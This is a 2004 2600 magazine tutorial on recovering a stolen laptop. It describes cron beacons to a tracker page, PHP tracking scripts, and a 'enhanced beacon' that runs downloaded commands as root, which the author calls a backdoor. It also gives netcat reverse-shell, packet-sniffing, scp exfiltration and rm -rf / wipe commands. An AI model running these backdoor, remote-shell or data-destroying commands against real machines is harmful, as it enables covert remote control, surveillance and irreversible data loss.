Laptop Security

Published in the Fall 2004 issue of 2600 – The Hacker Quarterly

Having purchased a $2,000 Apple Powerbook G4, I have been thinking about how to protect my investment. If I take my laptop on a trip and it gets stolen, I want to know as much as possible about where my computer is and who is using it. This tutorial applies equally well to any Linux, BSD, or Solaris laptop as well.

Before I get into the details of this system, I want to mention that this system depends on a thief who does not erase your hard drive and proceeds to connect to the Internet. Some thieves may steal computers for the information contained therein, but many others will steal computers to sell them on eBay. The latter of these thieves are the ones who may be interested in erasing hard drives, and thus those are the ones we are interested in stopping.

To prevent a thief from easily erasing your hard drive, I would recommend putting a password on your BIOS. To do this on modern Mac's requires you to boot into Open Firmware (when the computer loads, press Command + Option + O + F) and typing, "**password**". After setting the password, type "**setenv security-mode command**" and finally "**reset-all**" to restart your computer. If you do not know the firmware password, you will not be able to boot the computer from a CD or external hard drive in order to reload the OS. The only way to forcibly remove this password is to change the amount of RAM in the computer and then clear the PRAM three times… a piece of trivia that a common thief is unlikely to know.

PC BIOS'es are easy to secure as well, but since they differ per BIOS, I will let you find out on your own how to do that on your own.

Another security precaution when using Mac OS X is to make sure that you must type your password any time you want to make a change to the system preferences. Otherwise all you would have to do is go to the System Preferences into the Classic panel and select a Mac OS 9 CD in order to erase the hard drive.

I would also recommend password protecting every user account on your computer and requiring a user to type their password before logging in. This protects any information on your computer, as long as the thief doesn't get root access. Then, enable a password-less guest account on your laptop. Of course, make sure that this account is severely limited in what it can do, but if a thief can't easily erase your hard drive, and has access to a guest account, they may decide to give up trying to erase your hard drive and start to just play around with your computer. Hopefully in the process they will connect to the Internet.

The Beacon

The basic idea behind this idea is to run a cron job as root every five or ten minutes that runs a simple command. This command acts as a beacon.

```
*/5 * * * *        curl -s http://somesite.com/tracker/ > /dev/null
```

With this command, every five minutes the computer will attempt to access a page you set up that tracks IP addresses. The -s parameter will suppress any errors.

Listing 1 is a simple tracker script written in PHP that logs the event and mails someone if the IP address of the client has not been seen before.

LISTING 1

```
========
<?php
ini_set("diplay_errors", 0); // make sure there is no unexpected output
while in production mode
$theIP = $_SERVER['REMOTE_ADDR'];
$ips = "ips.txt"; // a file writable by the web server
$list = file($ips);

foreach ($list as $key => $ip) {
        $list[$key] = trim($ip);
}

if ( !in_array($theIP, $list) ) {
      array_push($list, $theIP);
      mail("you@somesite.com", "New IP Address", "{$theIP} -> " .
gethostbyaddr($theIP), "From: me@mycomputer.com");
      exec("echo '{$theIP}' >> {$ips}");
}
?>
========
```

The Enhanced Beacon

The simple beacon is great for informative purposes. But what if you want to take pro-active action in the retrieval of your computer? Try this shell script (beacon.sh):

```
========
#!/bin/sh
tracker=`/usr/bin/curl -s http://somesite.com/tracker/`
if [ "tracker" ]
then
      $tracker
fi
========
```

Then run a root cron job:

```
*/5 * * * *       /usr/local/bin/beacon.sh > /dev/null
```

This script downloads the page http://somesite.com/tracker/, just like the simple beacon. But if the output of that page is not empty, it will execute the output of that page as root. As you can see, this is a backdoor into your computer, so it is imperative that you have a large amount of trust with http://somesite.com/. Furthermore, you want to design the enhanced tracker script very carefully, since it potentially has full root access to your computer.

I cannot emphasize this enough, this tool is very powerful, but along with this power comes a lot of danger, so be very careful. Listing 2 has an enhanced version of the tracker scrip that allows one to output a command when the script is accessed.

LISTING 2

```
========
<?php
ini_set("diplay_errors", 0); // make sure there is no unexpected output
while in production mode
$theIP = $_SERVER['REMOTE_ADDR'];
$ips = "ips.txt"; // a file writable by the web server containing a
list of IP addresses that have visited this page
$command_file = "command.txt"; // a file writable by the web server
that will contain a command to execute on the server
$list = file($ips);
$command = file($command_file);

foreach ($list as $key => $ip) {
        $list[$key] = trim($ip);
}
$command = trim($command[0]);

if (!empty($command)) {
        exec("echo > $command_file");
        echo $command;
        mail("you@somesite.com", "Command succeeded", "The command
\"{$command}\" has been run on {$theIP} -> " . gethostbyaddr($theIP),
"From: me@mycomputer.com");
}

if ( !in_array($theIP, $list) ) {
      array_push($list, $theIP);
      mail("you@somesite.com", "New IP Address", "{$theIP} -> " .
gethostbyaddr($theIP), "From: me@mycomputer.com");
      exec("echo '{$theIP}' >> {$ips}");
}
?>
========
```

The Tracker

Before you computer is stolen, there is hardly any reason to keep track of IP addresses, and probably never any reason to run a command through a backdoor as root, so I would suggest that you make http://somesite.com/tracker/ a static page with one blank line as its content. Then, if you are ever unlucky enough to have your computer stolen, change the tracker page to be the dynamic script that tracks IP addresses.

Fun With Thieves

We all know the hacker ethic that prevents us from listening to and messing with other people's computers, but if a thief takes your computer, it is a free target with the advantage of knowing all the passwords to the main accounts on the computer and having root access. So let me list a couple fun things that one could do.

Where Is Your Computer?

Even if you only choose to use the simple beacon, you can track some more interesting information, like your laptop's geographical location. You could integrate NetGeo into your tracking script using a class like netgeoclass (http://www.phpclasses.org/browse/package/514.html). Or, you can just go to http://www.whois.sc/192.168.1.1 (of course replacing the IP with the thief's IP) and that site will tell you the geographic location of that IP address. Geographic locators based on IP addresses are not always perfect. For example, NetGeo thinks that I live 1,000 miles away from my actual location. But a lot of the times, it is right. At the very least, it will tell you who is in control of that class of IP addresses, giving you a phone number and e-mail address of someone that would have more specific information.

Reverse Telnet

Most people don't run an SSH server from their laptops, but even if you did, what if the thief is smart enough to be behind a firewall? Netcat (http://www.atstake.com/research/tools/network_utilities/) is a very versatile network utility that can help you connect with a root shell that even a strict firewall couldn't protect against. I learned the following information from O'Reilly's OnLamp.com (http://www.onlamp.com/pub/a/onlamp/2003/05/29/netcat.html). Unfortunately for our purposes, the version bundled with Mac OS 10.3 was not built with an option that enables reverse telnet. So on your laptop, download Netcat and edit the Makefile to contain a new line:

```
DFLAGS = -DGAPING_SECURITY_HOLE
```

Then type "**make generic; sudo mv nc /usr/local/bin**".

Now on whatever computer you happen to be on, make sure that you don't have a web server running and type "**nc -vv -l -p 80**". Then edit the command file on somesite.com for the tracker script (command.txt in my example code) to contain the command "**/usr/local/bin/nc 192.168.1.1 80 -e /bin/bash**" where 192.168.1.1 is the current external IP address of the computer you are on. Your computer must be one that is directly connected to the Internet, not going through a firewall and definitely not NAT'ed. This is because you are setting up a server on your computer that your laptop is then going to connect to and offer a bash shell. Wait for the confirmation e-mail and viola, you now have a root shell into your computer. The reason we use port 80 is because not even the strictest firewall is ever going to block access to port 80 because it is used for web traffic.

Packet Sniffing

All Mac OS X computer have tcpdump on them. You can glean a lot of information (web sites, usernames, passwords, etc.) from this program. If you happen to have installed a higher-level packet sniffer like Ethercap (http://ettercap.sf.net/ or through Fink, http://fink.sf.net/) installed, the process of sifting through packets is simplified. I don't know the law very well, but if you want to be sure that this is ok to do this, and that the thief won't win a lawsuit against you later for sniffing his Internet traffic from your computer (a surprisingly likely scenario), create a desktop picture for your guest account (the only one the thief has access to) that has something to the effect of:

"All information passed through this computer may be monitored by its owner."

Worst Case Scenario

Lets say you have talked to all the authorities, you know this guys name, you know where he lives, but nobody will help you retrieve your computer. As long as your computer is insured, you have nothing to loose. After reverse telnetting into your computer, you can tar all your user information (tar cfz /tmp/data.tgz /Users/myusername). Then, from your laptop, scp it to your new computer (scp /tmp/data.tgz 192.168.1.1:.) and leave the thief with nothing using the dreaded remove everything on the computer command (rm -rf /). Not being able to boot your computer from a CD, and not having a single file left on your laptop, the thief now has a very expensive piece of garbage, and thanks to your insurance company and Steve Jobs, you have a bright new shiny new laptop and import all of your old personal information.

Conclusion

Now that I have protected my investment, I feel free to take my laptop wherever I go. Hopefully, none of you will ever have to use the information here. But if you do, I hope you feel protected too.